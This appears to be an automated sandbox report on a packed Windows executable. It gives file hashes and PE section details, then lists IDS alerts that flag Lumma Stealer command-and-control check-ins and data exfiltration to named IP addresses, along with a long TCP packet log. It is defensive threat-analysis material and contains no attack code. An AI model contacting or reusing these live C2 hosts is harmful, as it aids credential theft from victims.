SHA512:	f748856e303eba664d36b9477bb667ad49d95a4e2ee2a0f42fabb49aeba2a53bf08865599a445c9cd4064165001d428d077693269e4e0888521c178cb51d7d9d
SSDEEP:	49152:7itUHkCPzODisHOyIp7U7ychZsO4miN0aMgl6g5xboqIp42E:7iiHkCPzOJJIp74yQZsOZ49MglPfbg22
TLSH:	52D54BA2A509B5CFD44E17B8A46FCF43686D43B9471048C3E969B4BE7D63CC126F6C28
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J...........@/...........@..........................p/.......,...@.................................T...h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x6f4000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FD288D3E12Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	afe27909c5be7d9a4f77b3c599f85dda	False	0.998046875	data	7.9791642754334005	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
smouarfw	0x5b000	0x298000	0x297800	60ac4e723eac437a87ead5b2f9e36b39	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
kausvzmd	0x2f3000	0x1000	0x400	0b3373fbc9e711293fdececc1238903b	False	0.7529296875	data	5.983722812675194	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x2f4000	0x3000	0x2200	df989936a8ccda2493b2ea98f3a0142b	False	0.06387867647058823	DOS executable (COM)	0.7162104900049892	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-28T21:40:01.235478+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	188.114.96.3	443	TCP
2024-10-28T21:40:01.235478+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	188.114.96.3	443	TCP
2024-10-28T21:40:02.684222+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	188.114.96.3	443	TCP
2024-10-28T21:40:02.684222+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	188.114.96.3	443	TCP
2024-10-28T21:40:09.012653+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49709	188.114.96.3	443	TCP
2024-10-28T21:40:10.302927+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	49710	188.114.96.3	443	TCP
2024-10-28T21:40:14.042941+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49711	188.114.96.3	443	TCP
2024-10-28T21:40:15.116150+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49712	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 21:40:00.060340881 CET	49704	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:00.060372114 CET	443	49704	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:00.060457945 CET	49704	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:00.061678886 CET	49704	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:00.061691046 CET	443	49704	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:00.735692978 CET	443	49704	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:00.735934019 CET	49704	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:00.740048885 CET	49704	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:00.740061045 CET	443	49704	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:00.740458012 CET	443	49704	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:00.782510996 CET	49704	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:00.787941933 CET	49704	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:00.787941933 CET	49704	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:00.788139105 CET	443	49704	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:01.235563993 CET	443	49704	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:01.235795975 CET	443	49704	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:01.236020088 CET	49704	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:01.237071037 CET	49704	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:01.237076044 CET	443	49704	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:01.237123966 CET	49704	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:01.237128973 CET	443	49704	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:01.288882971 CET	49705	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:01.288919926 CET	443	49705	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:01.289007902 CET	49705	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:01.300534964 CET	49705	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:01.300561905 CET	443	49705	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:02.175892115 CET	443	49705	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:02.176014900 CET	49705	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:02.177447081 CET	49705	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:02.177480936 CET	443	49705	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:02.177831888 CET	443	49705	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:02.179433107 CET	49705	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:02.179492950 CET	49705	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:02.179542065 CET	443	49705	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:02.684201002 CET	443	49705	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:02.685123920 CET	443	49705	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:02.685174942 CET	443	49705	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:02.685295105 CET	49705	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:02.685323954 CET	443	49705	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:02.685400009 CET	49705	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:02.687033892 CET	443	49705	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:02.688500881 CET	443	49705	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:02.688553095 CET	49705	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:02.688569069 CET	443	49705	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:02.690123081 CET	443	49705	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:02.690181971 CET	443	49705	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:02.690182924 CET	49705	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:02.690197945 CET	443	49705	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:02.690248966 CET	49705	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:02.807657003 CET	443	49705	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:02.808469057 CET	443	49705	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:02.808538914 CET	49705	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:02.808573008 CET	443	49705	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:02.808830976 CET	443	49705	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:02.808892965 CET	49705	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:02.830205917 CET	49705	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:02.830260038 CET	443	49705	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:02.830291986 CET	49705	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:02.830310106 CET	443	49705	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:03.158668041 CET	49706	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:03.158703089 CET	443	49706	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:03.158783913 CET	49706	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:03.159106970 CET	49706	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:03.159118891 CET	443	49706	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:03.879461050 CET	443	49706	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:03.879599094 CET	49706	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:03.881089926 CET	49706	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:03.881103039 CET	443	49706	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:03.881432056 CET	443	49706	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:03.882872105 CET	49706	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:03.883029938 CET	49706	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:03.883071899 CET	443	49706	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:04.422820091 CET	443	49706	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:04.423055887 CET	443	49706	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:04.423136950 CET	49706	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:04.423681974 CET	49706	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:04.423702002 CET	443	49706	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:04.540883064 CET	49707	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:04.540944099 CET	443	49707	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:04.541038036 CET	49707	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:04.541368008 CET	49707	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:04.541398048 CET	443	49707	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:05.243808031 CET	443	49707	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:05.243925095 CET	49707	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:05.245151997 CET	49707	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:05.245176077 CET	443	49707	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:05.245666027 CET	443	49707	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:05.246892929 CET	49707	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:05.247062922 CET	49707	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:05.247108936 CET	443	49707	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:05.247196913 CET	49707	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:05.247210026 CET	443	49707	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:05.808828115 CET	443	49707	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:05.809478045 CET	443	49707	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:05.809564114 CET	49707	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:05.859421968 CET	49707	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:05.859453917 CET	443	49707	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:06.135565042 CET	49708	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:06.135607958 CET	443	49708	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:06.135703087 CET	49708	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:06.135997057 CET	49708	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:06.136008978 CET	443	49708	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:06.797416925 CET	443	49708	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:06.797513962 CET	49708	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:06.799371004 CET	49708	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:06.799376011 CET	443	49708	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:06.799700975 CET	443	49708	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:06.800915956 CET	49708	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:06.801070929 CET	49708	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:06.801139116 CET	443	49708	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:06.801202059 CET	49708	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:06.801211119 CET	443	49708	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:07.539449930 CET	443	49708	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:07.539551020 CET	443	49708	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:07.539613008 CET	49708	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:07.544658899 CET	49708	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:07.544696093 CET	443	49708	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:07.820713043 CET	49709	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:07.820797920 CET	443	49709	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:07.820898056 CET	49709	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:07.821202993 CET	49709	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:07.821242094 CET	443	49709	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:08.490731001 CET	443	49709	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:08.490823030 CET	49709	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:08.500060081 CET	49709	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:08.500088930 CET	443	49709	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:08.500467062 CET	443	49709	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:08.504959106 CET	49709	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:08.508177996 CET	49709	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:08.508189917 CET	443	49709	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:09.012680054 CET	443	49709	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:09.012963057 CET	443	49709	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:09.013077021 CET	49709	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:09.013288021 CET	49709	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:09.013297081 CET	443	49709	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:09.520344973 CET	49710	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:09.520380020 CET	443	49710	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:09.520544052 CET	49710	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:09.520824909 CET	49710	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:09.520839930 CET	443	49710	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:10.284998894 CET	443	49710	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:10.285137892 CET	49710	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:10.286501884 CET	49710	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:10.286509991 CET	443	49710	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:10.286828041 CET	443	49710	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:10.301218033 CET	49710	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:10.302017927 CET	49710	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:10.302073956 CET	443	49710	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:10.302161932 CET	49710	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:10.302213907 CET	443	49710	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:10.302314043 CET	49710	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:10.302531004 CET	443	49710	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:10.302650928 CET	49710	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:10.302675962 CET	443	49710	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:10.302808046 CET	49710	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:10.302834034 CET	443	49710	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:10.302977085 CET	49710	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:10.303004980 CET	49710	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:10.303018093 CET	443	49710	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:10.303046942 CET	443	49710	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:10.303177118 CET	49710	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:10.303212881 CET	49710	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:10.303308964 CET	443	49710	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:10.303571939 CET	49710	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:10.303606033 CET	49710	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:10.303620100 CET	49710	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:10.347343922 CET	443	49710	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:10.347523928 CET	49710	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:10.347572088 CET	49710	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:10.363893986 CET	443	49710	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:10.364021063 CET	49710	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:10.364041090 CET	443	49710	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:10.364104986 CET	443	49710	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:10.364187956 CET	49710	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:10.364252090 CET	443	49710	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:10.364424944 CET	443	49710	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:10.409389973 CET	443	49710	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:12.739152908 CET	443	49710	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:12.739435911 CET	443	49710	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:12.739518881 CET	49710	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:12.740048885 CET	49710	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:12.740070105 CET	443	49710	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:12.793804884 CET	49711	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:12.793874979 CET	443	49711	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:12.793957949 CET	49711	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:12.794258118 CET	49711	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:12.794286013 CET	443	49711	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:13.498389959 CET	443	49711	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:13.498518944 CET	49711	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:13.499783039 CET	49711	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:13.499802113 CET	443	49711	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:13.500714064 CET	443	49711	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:13.502021074 CET	49711	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:13.502058983 CET	49711	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:13.502193928 CET	443	49711	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:14.042995930 CET	443	49711	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:14.043246984 CET	443	49711	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:14.043323040 CET	49711	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:14.043418884 CET	49711	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:14.043432951 CET	443	49711	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:14.043447971 CET	49711	443	192.168.2.5	188.114.96.3
Oct 28, 2024 21:40:14.043454885 CET	443	49711	188.114.96.3	192.168.2.5
Oct 28, 2024 21:40:14.049036026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:14.074923992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:14.075246096 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:14.075777054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:14.086118937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.115938902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.116049051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.116089106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.116149902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.116420031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.116477013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.116478920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.116513968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.116558075 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.117448092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.117482901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.117520094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.117528915 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.119294882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.119348049 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.123912096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.124424934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.124476910 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.283397913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.283438921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.283476114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.283581018 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.285646915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.285684109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.285718918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.285734892 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.285789967 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.287225962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.287265062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.287298918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.287345886 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.289146900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.289184093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.289217949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.289217949 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.289256096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.289263964 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.292190075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.292227030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.292259932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.292264938 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.292315960 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.292741060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.292778015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.292819977 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.292834044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.294404030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.294442892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.294460058 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.294478893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.294521093 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.424778938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.425023079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.425105095 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.425148964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.425347090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.425429106 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.425780058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.426032066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.426080942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.426465034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.427033901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.427084923 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.427603006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.428174019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.428227901 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.428435087 CET	80	49712	185.215.113.16	192.168.2.5
